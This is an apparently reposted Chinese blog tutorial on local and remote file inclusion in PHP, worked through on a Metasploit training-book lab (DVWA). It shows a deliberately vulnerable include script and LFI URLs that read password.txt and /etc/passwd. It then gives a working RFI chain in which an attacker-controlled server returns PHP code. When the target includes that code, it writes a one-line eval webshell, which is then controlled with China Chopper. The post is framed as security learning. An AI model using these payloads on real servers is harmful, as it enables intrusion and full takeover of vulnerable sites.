我是靠谱客的博主 丰富月光,最近开发中收集的这篇文章主要介绍《Metasploit渗透测试魔鬼训练营》 之 文件包含一、本地文件包含漏洞(LFI),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文件包含漏洞包括本地文件包含( LFI )和远程文件包含 (RFI) 。详细讲解请自行度娘,这里一是利用最简单的代码对文件包含漏洞进行展示;二是结合《 metasploit 渗透测试魔鬼训练营》的实验环境进行讲解。

一、本地文件包含漏洞(LFI

(一)LFI展现

WEB服务器A(192.168.80.1)下有三个文件

1.fl.php        :<?php $filename = $_GET['filename']; require($filename); ?>

2.read.php      : <?php echo "Thank you"; ?>

3.password.txt   : 123456

文件包含漏洞出在fl.php中,该文件对$filename进行了包含,但是$filename是从URL参数中获得,并且没有做任何的过滤和限制。

正常访问的URL是这样的:http://192.168.80.1/fl.php?filename=read.php,结果如下:

 

如果攻击者知道存在password.txt,通过访问http://192.168.80.1/fl.php?filename=password

.txt,那么结果就是这样的:

 

LFI触发后,像WEB配置文件,数据库配置文件等可能被攻击者窃取,导致机密文件泄露,攻击者可以利用这样信息进一步对服务器进行攻击。

(二)《metasploit渗透测试魔鬼训练营》实验环境LFI

漏洞触发URLhttp://www.dvssc.com/dvwa/vulnerabilities/fi/?page=

正常访问:http://www.dvssc.com/dvwa/vulnerabilities/fi/?page=include.php

攻击者访问:http://www.dvssc.com/dvwa/vulnerabilities/fi/?page=/etc/passwd

 

攻击者利用LFI漏洞获取/etc/passwd文件,该文件包含了系统用户的用户名等信息。

 

二、远程文件包含漏洞(RFI

相对于LFIRFI的危害性更大,可能导致向WEB服务器上传webshell

(一)RFI展现

 

 RFI的触发原理和LFI的机制基本相同,在LFI展现环境的基础上,增加攻击者控制的WEB服务器B192.168.80.8)。

访问URLhttp://192.168.80.1/fl.php?filename=http://192.168.80.8/phpshell.php

这样攻击者可以在服务器A上执行特定的代码,从而上传Webshell,控制A

是不是特别简单啊, 哈哈,是不是想着在B上放置一个一句话木马,然后访问攻击URL,就将A给控制了呢?别高兴的太早。下面结合《metasploit渗透测试魔鬼训练营》实验环境RFI进行讲解。

(二)《metasploit渗透测试魔鬼训练营》实验环境RFI

实验环境增加一个《metasploit渗透测试魔鬼训练营》RFI漏洞实验环境服务器192.168.80.141

按照书中讲解,漏洞是这样利用的:

 

于是我们在192.168.80.8上放置一个一句话木马

ui.php: <?php @eval($_POST["as"]);?>

通过中国菜刀访问:

http://192.168.80.141/dvwa/vulnerabilities/fi/?page=http://192.168.80.8/ui.php

 

完全不行啊...作者你不要骗俺啊...

分析原因,我们在192.168.80.8放置如下文件

write.php : <?php $filew = fopen(“test.txt”, "w");

 fwrite($filew, “123456789”);

fclose($filew);

?>

访问URLhttp://192.168.80.141/dvwa/vulnerabilities/fi/?page=http://192.168.80.8/write.php

结果我们在服务器192.168.80.8下发现test.txt192.168.80.141下并没有发现test.txt。原因清楚了吗?由于192.168.80.141通过RFI包含192.168.80.8上的php文件时,192.168.80.8首先执行php文件,然后将结果返回给了192.168.80.141...这样192.168.80.141上面根本没有执行php文件,所以无法植入webshell

解决办法:我们在192.168.80.8放置如下文件

uiyu.php: <?php

echo '<?php $filew = fopen("acos.php", "w");

fwrite($filew, '<?php @eval($_POST["as"]);?>');

fclose($filew); ?>'

?>

访问URLhttp://192.168.80.141/dvwa/vulnerabilities/fi/?page=http://192.168.80.8/uiyu.php

这样192.168.80.8

<?php $filew = fopen("acos.php", "w");

fwrite($filew, '<?php @eval($_POST["as"]);?>');

fclose($filew); ?>

返回给了192.168.80.141192.168.80.141执行该PHP代码,创建acos.php文件:<?php @eval($_POST["as"]);?>

通过中国菜刀访问http://192.168.80.141/dvwa/vulnerabilities/fi/acos.php

 

OK,成功执行。

 

(三)《metasploit渗透测试魔鬼训练营》实验环境漏洞定位

(一)fi/source/low.php

 

该文件将$_GET[‘page’]参数给了$file变量,并且没有做任何过滤和限制

(二)fi./index.php

Index.php首先包含了source/low.php,然后包含了$file文件,漏洞触发。

 

拜了个拜!

最后

以上就是丰富月光为你收集整理的《Metasploit渗透测试魔鬼训练营》 之 文件包含一、本地文件包含漏洞(LFI)的全部内容,希望文章能够帮你解决《Metasploit渗透测试魔鬼训练营》 之 文件包含一、本地文件包含漏洞(LFI)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(45)

评论列表共有 0 条评论

立即
投稿
返回
顶部